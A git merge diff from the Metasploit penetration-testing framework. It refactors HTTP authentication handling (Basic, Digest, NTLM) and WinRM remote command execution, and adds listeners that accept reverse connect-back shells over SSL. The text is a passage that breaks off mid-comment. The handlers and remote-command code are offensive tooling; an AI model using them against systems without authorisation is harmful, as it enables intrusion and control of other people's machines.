Merge branch 'http/auth_methods' of git://github.com/dmaloney-r7/metasploit-framework into dmaloney-r7-http/auth_methods
commit
24cb9e5ff8
|
@ -188,7 +188,9 @@ module Anemone
|
|||
context,
|
||||
url.scheme == "https",
|
||||
'SSLv23',
|
||||
@opts[:proxies]
|
||||
@opts[:proxies],
|
||||
@opts[:username],
|
||||
@opts[:password]
|
||||
)
|
||||
|
||||
conn.set_config(
|
||||
|
|
|
@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler
|
|||
Opt::Proxies,
|
||||
OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]),
|
||||
OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]),
|
||||
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4])
|
||||
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -34,8 +36,6 @@ module Auxiliary::HttpCrawler
|
|||
OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests',
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||
]),
|
||||
OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']),
|
||||
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
|
||||
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
|
||||
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
|
@ -118,8 +118,9 @@ module Auxiliary::HttpCrawler
|
|||
:info => ""
|
||||
})
|
||||
|
||||
if datastore['BasicAuthUser']
|
||||
t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '')
|
||||
if datastore['USERNAME'] and datastore['USERNAME'] != ''
|
||||
t[:username] = datastore['USERNAME'].to_s
|
||||
t[:password] = datastore['PASSWORD'].to_s
|
||||
end
|
||||
|
||||
if datastore['HTTPCookie']
|
||||
|
@ -278,9 +279,8 @@ module Auxiliary::HttpCrawler
|
|||
opts[:cookies] = t[:cookies]
|
||||
end
|
||||
|
||||
if t[:http_basic_auth]
|
||||
opts[:http_basic_auth] = t[:http_basic_auth]
|
||||
end
|
||||
opts[:username] = t[:username] || ''
|
||||
opts[:password] =t[:password] || ''
|
||||
|
||||
opts
|
||||
end
|
||||
|
|
|
@ -70,6 +70,7 @@ class Auxiliary::Web::HTTP
|
|||
attr_reader :framework
|
||||
|
||||
attr_accessor :redirect_limit
|
||||
attr_accessor :username , :password
|
||||
|
||||
def initialize( opts = {} )
|
||||
@opts = opts.dup
|
||||
|
@ -85,8 +86,8 @@ class Auxiliary::Web::HTTP
|
|||
|
||||
@request_opts = {}
|
||||
if opts[:auth].is_a? Hash
|
||||
@request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
|
||||
opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
|
||||
@username = opts[:auth][:user].to_s
|
||||
@password = opts[:auth][:password].to_s
|
||||
end
|
||||
|
||||
self.redirect_limit = opts[:redirect_limit] || 20
|
||||
|
@ -106,7 +107,9 @@ class Auxiliary::Web::HTTP
|
|||
opts[:target].port,
|
||||
{},
|
||||
opts[:target].ssl,
|
||||
'SSLv23'
|
||||
'SSLv23',
|
||||
username,
|
||||
password
|
||||
)
|
||||
|
||||
c.set_config({
|
||||
|
@ -148,23 +151,6 @@ class Auxiliary::Web::HTTP
|
|||
while rlimit >= 0
|
||||
rlimit -= 1
|
||||
res = _request( url, opts )
|
||||
if res.code == 401 and res.headers['WWW-Authenticate'] and opts['username']
|
||||
if res.headers['WWW-Authenticate'].include? 'Basic'
|
||||
opts['password']||= ''
|
||||
opts['basic_auth'] = opts['username'] + ":" + opts['password']
|
||||
res = _request( url, opts )
|
||||
elsif res.headers['WWW-Authenticate'].include? 'Digest'
|
||||
opts['DigestAuthUser'] = opts['username']
|
||||
opts['DigestAuthPassword'] = opts['password']
|
||||
res = send_digest_request_cgi(opts,timeout)
|
||||
elsif res.headers['WWW-Authenticate'].include? "Negotiate"
|
||||
opts['provider'] = 'Negotiate'
|
||||
res = send_request_auth_negotiate(opts,timeout)
|
||||
elsif res.headers['WWW-Authenticate'].include? "NTLM"
|
||||
opts['provider'] = 'NTLM'
|
||||
res = send_request_auth_negotiate(opts,timeout)
|
||||
end
|
||||
end
|
||||
return res if !opts[:follow_redirect] || !url = res.headers['location']
|
||||
end
|
||||
nil
|
||||
|
@ -311,6 +297,10 @@ class Auxiliary::Web::HTTP
|
|||
opts['data'] = body if body
|
||||
|
||||
c = connect
|
||||
if opts['username'] and opts['username'] != ''
|
||||
c.username = opts['username'].to_s
|
||||
c.password = opts['password'].to_s
|
||||
end
|
||||
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
|
||||
rescue ::Timeout::Error
|
||||
Response.timed_out
|
||||
|
|
|
@ -274,6 +274,10 @@ module Exploit::Remote::HttpClient
|
|||
def send_request_cgi(opts={}, timeout = 20)
|
||||
begin
|
||||
c = connect(opts)
|
||||
if opts['username'] and opts['username'] != ''
|
||||
c.username = opts['username'].to_s
|
||||
c.password = opts['password'].to_s
|
||||
end
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
|
@ -289,50 +293,6 @@ module Exploit::Remote::HttpClient
|
|||
datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '')
|
||||
end
|
||||
|
||||
#
|
||||
# Authenticates to the remote host based on the most appropriate authentication method,
|
||||
# and returns the HTTP response. If there are multiple auth methods supported, then it
|
||||
# will pick one in the following order: Basic, Digest, Negotiate, and then NTLM.
|
||||
#
|
||||
# Options:
|
||||
# - username: The username to authenticate as
|
||||
# - password: The password to authenticate with
|
||||
#
|
||||
def send_request_smart_auth(opts={}, timeout=20)
|
||||
res = send_request_cgi(opts,timeout)
|
||||
return nil if res.nil?
|
||||
return res unless res.code == 401
|
||||
return res if opts['username'].blank?
|
||||
return res unless res.headers['WWW-Authenticate']
|
||||
|
||||
if res.headers['WWW-Authenticate'].include? "Basic"
|
||||
opts['password']||= ''
|
||||
opts['basic_auth'] = opts['username'] + ":" + opts['password']
|
||||
res = send_request_cgi(opts,timeout)
|
||||
return res
|
||||
|
||||
elsif res.headers['WWW-Authenticate'].include? "Digest"
|
||||
opts['DigestAuthUser'] = opts['username']
|
||||
opts['DigestAuthPassword'] = opts['password']
|
||||
res = send_digest_request_cgi(opts,timeout)
|
||||
return res
|
||||
|
||||
elsif res.headers['WWW-Authenticate'].include? "Negotiate"
|
||||
opts['provider'] = 'Negotiate'
|
||||
res = send_request_auth_negotiate(opts,timeout)
|
||||
return res
|
||||
|
||||
elsif res.headers['WWW-Authenticate'].include? "NTLM"
|
||||
opts['provider'] = 'NTLM'
|
||||
res = send_request_auth_negotiate(opts,timeout)
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Wrappers for getters
|
||||
|
|
|
@ -42,7 +42,7 @@ module Exploit::Remote::WinRM
|
|||
c = connect(opts)
|
||||
to = opts[:timeout] || timeout
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
resp, c = send_request_cgi(opts.merge({
|
||||
resp, c = send_winrm_request(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
|
@ -61,7 +61,7 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def winrm_run_cmd(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
resp = send_winrm_request(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
|
@ -76,17 +76,17 @@ module Exploit::Remote::WinRM
|
|||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
|
||||
resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id))
|
||||
resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_delete_shell_msg(shell_id))
|
||||
return streams
|
||||
end
|
||||
|
||||
def winrm_run_cmd_hanging(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
resp = send_winrm_request(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
|
@ -101,9 +101,9 @@ module Exploit::Remote::WinRM
|
|||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams
|
||||
end
|
||||
|
@ -219,98 +219,6 @@ module Exploit::Remote::WinRM
|
|||
::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
||||
end
|
||||
|
||||
def send_request_ntlm(data, timeout = 20)
|
||||
opts = {
|
||||
'uri' => datastore['URI'],
|
||||
'data' => data,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags))
|
||||
to = opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
# First request to get the challenge
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
'headers' => { 'Authorization' => ntlm_message_1},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
resp = c.send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1]
|
||||
return [nil,nil] unless ntlm_challenge
|
||||
|
||||
#old and simplier method but not compatible with windows 7/2008r2
|
||||
#ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
|
||||
#ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true})
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
client_challenge,
|
||||
ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
|
||||
resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
# Send the response
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
resp = c.send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [resp,c]
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
def accepts_ntlm_auth
|
||||
parse_auth_methods(winrm_poke).include? "Negotiate"
|
||||
end
|
||||
|
||||
def target_url
|
||||
proto = "http"
|
||||
if rport == 5986 or datastore['SSL']
|
||||
|
@ -329,6 +237,18 @@ module Exploit::Remote::WinRM
|
|||
return "/root/cimv2/"
|
||||
end
|
||||
|
||||
def send_winrm_request(data, timeout=20)
|
||||
opts = {
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'ctype' => "application/soap+xml;charset=UTF-8"
|
||||
}
|
||||
send_request_cgi(opts,timeout)
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
|
|
@ -0,0 +1,300 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse double TCP handler. This means
|
||||
# that it listens on a port waiting for a two connections, one connection
|
||||
# is treated as stdin, the other as stdout.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseTcpDoubleSSL
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp_double'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_tcp_double_ssl"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP handler and ads the options that are required
|
||||
# for all reverse TCP payloads, like local host and local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LHOST,
|
||||
Opt::LPORT(4444)
|
||||
], Msf::Handler::ReverseTcpDoubleSSL)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
|
||||
], Msf::Handler::ReverseTcpDoubleSSL)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
|
||||
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
|
||||
end
|
||||
self.listener_sock = Rex::Socket::TcpServer.create(
|
||||
# 'LocalHost' => datastore['LHOST'],
|
||||
'LocalPort' => datastore['LPORT'].to_i,
|
||||
'Comm' => comm,
|
||||
'SSL' => true,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) {
|
||||
sock_inp = nil
|
||||
sock_out = nil
|
||||
|
||||
print_status("Started reverse double handler")
|
||||
|
||||
begin
|
||||
# Accept two client connection
|
||||
begin
|
||||
client_a = self.listener_sock.accept
|
||||
print_status("Accepted the first client connection...")
|
||||
|
||||
client_b = self.listener_sock.accept
|
||||
print_status("Accepted the second client connection...")
|
||||
|
||||
sock_inp, sock_out = detect_input_output(client_a, client_b)
|
||||
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
return nil
|
||||
end
|
||||
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
|
||||
begin
|
||||
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
|
||||
handle_connection(chan.lsock)
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
}
|
||||
end while true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Accept two sockets and determine which one is the input and which
|
||||
# is the output. This method assumes that these sockets pipe to a
|
||||
# remote shell, it should overridden if this is not the case.
|
||||
#
|
||||
def detect_input_output(sock_a, sock_b)
|
||||
|
||||
begin
|
||||
|
||||
# Flush any pending socket data
|
||||
sock_a.get_once if sock_a.has_read_data?(0.25)
|
||||
sock_b.get_once if sock_b.has_read_data?(0.25)
|
||||
|
||||
etag = Rex::Text.rand_text_alphanumeric(16)
|
||||
echo = "echo #{etag};\n"
|
||||
|
||||
print_status("Command: #{echo.strip}")
|
||||
|
||||
print_status("Writing to socket A")
|
||||
sock_a.put(echo)
|
||||
|
||||
print_status("Writing to socket B")
|
||||
sock_b.put(echo)
|
||||
|
||||
print_status("Reading from sockets...")
|
||||
|
||||
resp_a = ''
|
||||
resp_b = ''
|
||||
|
||||
if (sock_a.has_read_data?(1))
|
||||
print_status("Reading from socket A")
|
||||
resp_a = sock_a.get_once
|
||||
print_status("A: #{resp_a.inspect}")
|
||||
end
|
||||
|
||||
if (sock_b.has_read_data?(1))
|
||||
print_status("Reading from socket B")
|
||||
resp_b = sock_b.get_once
|
||||
print_status("B: #{resp_b.inspect}")
|
||||
end
|
||||
|
||||
print_status("Matching...")
|
||||
if (resp_b.match(etag))
|
||||
print_status("A is input...")
|
||||
return sock_a, sock_b
|
||||
else
|
||||
print_status("B is input...")
|
||||
return sock_b, sock_a
|
||||
end
|
||||
|
||||
rescue ::Exception
|
||||
print_status("Caught exception in detect_input_output: #{$!}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
if (self.listener_thread and self.listener_thread.alive? == true)
|
||||
self.listener_thread.kill
|
||||
self.listener_thread = nil
|
||||
end
|
||||
|
||||
if (self.listener_sock)
|
||||
self.listener_sock.close
|
||||
self.listener_sock = nil
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
|
||||
|
||||
module TcpReverseDoubleSSLChannelExt
|
||||
attr_accessor :localinfo
|
||||
attr_accessor :peerinfo
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class wrappers the communication channel built over the two inbound
|
||||
# connections, allowing input and output to be split across both.
|
||||
#
|
||||
###
|
||||
class TcpReverseDoubleSSLSessionChannel
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
def initialize(framework, inp, out)
|
||||
@framework = framework
|
||||
@sock_inp = inp
|
||||
@sock_out = out
|
||||
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
end
|
||||
|
||||
#
|
||||
# Funnel data from the shell's stdout to +rsock+
|
||||
#
|
||||
# +StreamAbstraction#monitor_rsock+ will deal with getting data from
|
||||
# the client (user input). From there, it calls our write() below,
|
||||
# funneling the data to the shell's stdin on the other side.
|
||||
#
|
||||
def monitor_shell_stdout
|
||||
|
||||
# Start a thread to pipe data between stdin/stdout and the two sockets
|
||||
@monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) {
|
||||
begin
|
||||
while true
|
||||
# Handle data from the server and write to the client
|
||||
if (@sock_out.has_read_data?(0.50))
|
||||
buf = @sock_out.get_once
|
||||
break if buf.nil?
|
||||
rsock.put(buf)
|
||||
end
|
||||
end
|
||||
rescue ::Exception => e
|
||||
ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}")
|
||||
end
|
||||
|
||||
# Clean up the sockets...
|
||||
begin
|
||||
@sock_inp.close
|
||||
@sock_out.close
|
||||
rescue ::Exception
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def write(buf, opts={})
|
||||
@sock_inp.write(buf, opts)
|
||||
end
|
||||
|
||||
def read(length=0, opts={})
|
||||
@sock_out.read(length, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the stream abstraction and kills the monitor thread.
|
||||
#
|
||||
def close
|
||||
@monitor_thread.kill if (@monitor_thread)
|
||||
@monitor_thread = nil
|
||||
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,124 @@
|
|||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse TCP handler. This means
|
||||
# that it listens on a port waiting for a connection until
|
||||
# either one is established or it is told to abort.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseTcpSsl
|
||||
|
||||
include Msf::Handler::ReverseTcp
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp_ssl'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_tcp_ssl"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP SSL handler and adds the certificate option.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)'])
|
||||
], Msf::Handler::ReverseTcpSsl)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
if datastore['Proxies']
|
||||
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies'
|
||||
end
|
||||
|
||||
ex = false
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
|
||||
comm = datastore['ReverseListenerComm']
|
||||
if comm.to_s == "local"
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
addrs = [ datastore['ReverseListenerBindAddress'] ]
|
||||
|
||||
# Pick the right "any" address if either wildcard is used
|
||||
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
|
||||
end
|
||||
addrs.each { |ip|
|
||||
begin
|
||||
|
||||
comm.extend(Rex::Socket::SslTcp)
|
||||
self.listener_sock = Rex::Socket::SslTcpServer.create(
|
||||
'LocalHost' => datastore['LHOST'],
|
||||
'LocalPort' => datastore['LPORT'].to_i,
|
||||
'Comm' => comm,
|
||||
'SSLCert' => datastore['SSLCert'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
|
||||
ex = false
|
||||
|
||||
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
|
||||
comm_used = Rex::Socket::Comm::Local if comm_used == nil
|
||||
|
||||
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
|
||||
via = "via the #{comm_used.type} on session #{comm_used.sid}"
|
||||
else
|
||||
via = ""
|
||||
end
|
||||
|
||||
print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}")
|
||||
break
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}")
|
||||
end
|
||||
}
|
||||
raise ex if (ex)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -479,4 +479,20 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "php"
|
||||
end
|
||||
|
||||
#
|
||||
# JavaScript
|
||||
#
|
||||
class JavaScript < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "js"
|
||||
end
|
||||
|
||||
#
|
||||
# Python
|
||||
#
|
||||
class Python < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "python"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -201,8 +201,8 @@ class Client
|
|||
req << set_extra_headers(c_head)
|
||||
req << set_raw_headers(c_rawh)
|
||||
req << set_body(c_body)
|
||||
|
||||
req
|
||||
|
||||
{:string => req , :opts => opts}
|
||||
end
|
||||
|
||||
|
||||
|
@ -359,9 +359,9 @@ class Client
|
|||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
# If persist is set, then the request will attempt
|
||||
# to reuse an existing connection.
|
||||
# Sends a request and gets a response back
|
||||
# If the request is a 401, and we have creds, it will attempt to
|
||||
# complete authentication and return the final response
|
||||
#
|
||||
def send_recv(req, t = -1, persist=false)
|
||||
opts = req[:opts]
|
||||
|
@ -373,6 +373,11 @@ class Client
|
|||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
# If persist is set, then the request will attempt
|
||||
# to reuse an existing connection.
|
||||
#
|
||||
def _send_recv(req, t = -1, persist=false)
|
||||
if req.kind_of? Hash and req[:string]
|
||||
req = req[:string]
|
||||
|
@ -392,10 +397,21 @@ class Client
|
|||
conn.put(req.to_s)
|
||||
end
|
||||
|
||||
# Validates that the client has creds
|
||||
def have_creds?
|
||||
!(self.username.nil?) && self.username != ''
|
||||
end
|
||||
|
||||
#
|
||||
# Params -
|
||||
# res = The 401 response we need to auth from
|
||||
# opts = the opts used to generate the request that created this response
|
||||
# t = the timeout for the http requests
|
||||
# persist = whether to persist the tcp connection for HTTP Pipelining
|
||||
#
|
||||
# Parses the response for what Authentication methods are supported.
|
||||
